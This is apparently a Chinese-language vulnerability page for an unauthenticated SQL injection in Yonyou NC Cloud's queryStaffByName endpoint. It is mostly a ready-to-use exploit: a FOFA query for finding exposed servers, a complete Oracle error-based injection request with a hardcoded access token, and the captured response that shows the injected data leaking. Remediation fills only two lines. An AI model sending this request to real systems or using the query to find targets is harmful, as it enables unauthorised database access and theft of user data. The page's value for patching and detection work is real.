

# 用友NC Cloud queryStaffByName SQL注入漏洞

## 漏洞描述

用友NC Cloud queryStaffByName 接口处存在SQL注入漏洞，未授权的攻击者可通过此漏洞获取数据库权限，从而盗取用户数据，造成用户信息泄露。

影响版本

用友-NC-Cloud

## 漏洞状态

| 漏洞细节 | 漏洞POC | 漏洞EXP | 在野利用 |
|------|-------|-------|------|
| 是    | 已公开   | 已公开   | 已知   |

## 风险等级

| 维度    | 评价 |
|-------|----|
| 威胁等级  | 高危 |
| 影响面   | 高  |
| 攻击者价值 | 高  |
| 利用难度  | 低  |

## 漏洞复现

FOFA: app="用友-NC-Cloud"

POC/EXP:

```
GET /ncchr/pm/staff/queryStaffByName?
name=1%27+AND+7216%3DUTL_INADDR.GET_HOST_ADDRESS%28CHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28112%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%7C%7C%28SELECT+%28CASE+WHEN+%287216%3D7216%29+THEN+1+ELSE+0+END%29+FROM+DUAL%29%7C%7CCHR%28113%29%7C%7CCHR%28106%29%7C%7CCHR%28118%29%7C%7CCHR%2898%29%7C%7CCHR%28113%29%29--+hzDZ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/532.1 (KHTML, like Gecko)
Chrome/41.0.887.0 Safari/532.1
Accesstokenccc: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiIxLn0.F5qVK-ZZEgu3WjIzIANK2jXwF49K5cBruYMnIOxltOQ
Accept: text/html, image/gif, image/jpeg, *; q=.2, /; q=.2
Connection: close
```

|                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| <div>原始 HTTP 请求</div> <div><pre>1 GET /ncchr/pm/staff/queryStaffByName?name=1%27+AND+7216%3DUTL_INADDR.<br/>GET_HOST_ADDRESS%28CHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28112%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%7C%7C%28SELECT+%28CASE+WHEN<br/>+%287216%3D7216%29+THEN+1+ELSE+0+END%29+FROM<br/>+DUAL%29%7C%7CCHR%28113%29%7C%7CCHR%28106%29%7C%7CCHR%28118%29%7C%7C<br/>HR%2898%29%7C%7CCHR%28113%29%29--+hzDZ HTTP/1.1<br/>Host: 087<br/>User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/41.0.887.0 Safari/532.1<br/>Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.<br/>eyJ1c2VyYWQ1O1I1In0.F5qVK-ZZEgu3WjIzIANK2JWf49K5cBruYmIOxItOQ<br/>Accept: text/html, image/gif, image/jpeg, */*;q=.2, */*;q=.2<br/>Connection: close</pre></div> <div>Request Header</div> | <div>原始 HTTP 响应</div> <div><pre>1 HTTP/1.1 400<br/>2 Access-Control-Allow-Origin: *<br/>3 Access-Control-Allow-Methods: *<br/>4 Content-Type: application/json<br/>5 Date: Sun, 04 Aug 2024 03:18:10 GMT<br/>6 Connection: close<br/>7 Server: server<br/>8 Content-Length: 246<br/>9<br/>10 {"message": "ORA-29257: 未知的主机 gkpkq1qjvbq\\nORA-06512: 在 \\SYS.UTL_INADDR\\", line 19\\nORA-06512: 在 \\SYS.UTL_INADDR\\", line 40\\nORA-06512: 在 line 1\\n", "frames": [], "class": "com.yonyou.hrccloud.adder.exception.AdderBusinessException"}</pre></div> <div>Response Header</div> |
|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|

# 修复方案

1. 关闭互联网暴露面或接口设置访问权限
- 升级至安全版本